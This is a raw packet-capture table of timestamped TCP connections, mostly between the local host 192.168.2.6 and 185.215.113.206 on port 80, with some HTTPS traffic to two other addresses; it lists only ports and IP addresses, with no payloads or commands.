Oct 28, 2024 02:07:49.314254999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314264059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314273119 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314282894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314299107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314312935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314321995 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314338923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314351082 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314356089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314368963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314388037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314398050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314407110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314414978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314431906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314445972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314461946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314477921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314477921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314493895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314511061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314512014 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314522028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314527988 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314543009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314559937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314562082 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314577103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314589977 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314599037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314613104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314615011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314632893 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314634085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314640045 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314650059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314663887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314666986 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314671040 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314690113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314694881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314712048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314726114 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314816952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314841032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314857006 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314871073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314886093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314898968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314909935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314924955 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314927101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314943075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314956903 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314975023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314980030 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.314990044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.314997911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.315007925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.315021038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.315030098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.315037012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.315053940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.315058947 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.315073013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.315108061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.354713917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.354737997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.354754925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.354765892 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.354770899 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.354782104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.354795933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.354799986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.354810953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.354871035 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.371354103 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.371400118 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.371412039 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.371440887 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.371479988 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.371516943 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.371534109 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.371536016 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.371587038 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.372313023 CET	50005	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.372335911 CET	443	50005	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.378972054 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.379015923 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.379086971 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.379304886 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:49.379322052 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:49.428924084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.428941011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.428957939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.428982973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429011106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429017067 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429037094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429049015 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429054022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429070950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429075003 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429088116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429095984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429112911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429125071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429128885 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429152966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429153919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429169893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429178953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429186106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429188013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429200888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429204941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429215908 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429224968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429234982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429238081 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429261923 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429270029 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429280043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429311037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429316044 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429353952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429399967 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429439068 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429455042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429483891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429498911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429501057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429514885 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429528952 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429528952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429546118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429558039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429558992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429575920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429584980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429593086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429598093 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429608107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429625988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429631948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429646969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429652929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429661036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429676056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429676056 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429689884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429699898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429702044 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429716110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429724932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429732084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429733038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429747105 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429749966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429764032 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429765940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429781914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429795980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429814100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429833889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429850101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429866076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429873943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429882050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429897070 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429903030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429913998 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429933071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429939985 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.429949999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.429986000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430005074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430017948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430058956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430063963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430079937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430094957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430109978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430124998 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430139065 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430147886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430165052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430185080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430203915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430219889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430244923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430259943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430263996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430277109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430285931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430293083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430309057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430314064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430325031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430339098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430341005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430363894 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430366039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430383921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430391073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430397987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430413961 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430414915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430424929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430439949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430444002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430454969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430457115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430473089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430486917 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430486917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430495977 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430502892 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430515051 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430520058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430527925 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430545092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430551052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430561066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430574894 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430583954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430600882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430603027 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430617094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430624962 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430634022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430653095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430660009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430682898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430690050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430706024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430752039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430783033 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430788040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430804968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430811882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430826902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430828094 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430840969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430856943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430866957 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430881977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430897951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430902004 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430912018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430919886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430927038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430943012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430946112 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430969000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430972099 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.430984974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.430998087 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431000948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431010962 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431020975 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431027889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431041956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431042910 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431058884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431072950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431081057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431088924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431102037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431128025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431128979 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431143045 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431169033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431180000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431201935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431205988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431217909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431258917 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431288958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431337118 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431399107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431415081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431431055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431453943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431457996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431471109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431487083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431488037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431504011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431505919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431519985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431531906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431545019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431555986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431560040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431585073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431585073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431600094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431608915 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431617022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431621075 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431632996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431638956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431649923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431653023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431664944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431670904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431685925 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431690931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431706905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431723118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431751966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431771994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431786060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431802034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431818008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431833982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.431859016 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.431878090 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.432029009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432050943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432068110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432079077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.432081938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432090044 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.432105064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.432107925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432121992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432128906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.432138920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432156086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432161093 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.432173967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.432183027 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.432209969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.466239929 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.466700077 CET	50006	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:49.466727018 CET	443	50006	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:49.467139006 CET	50006	443	192.168.2.6	13.107.246.60
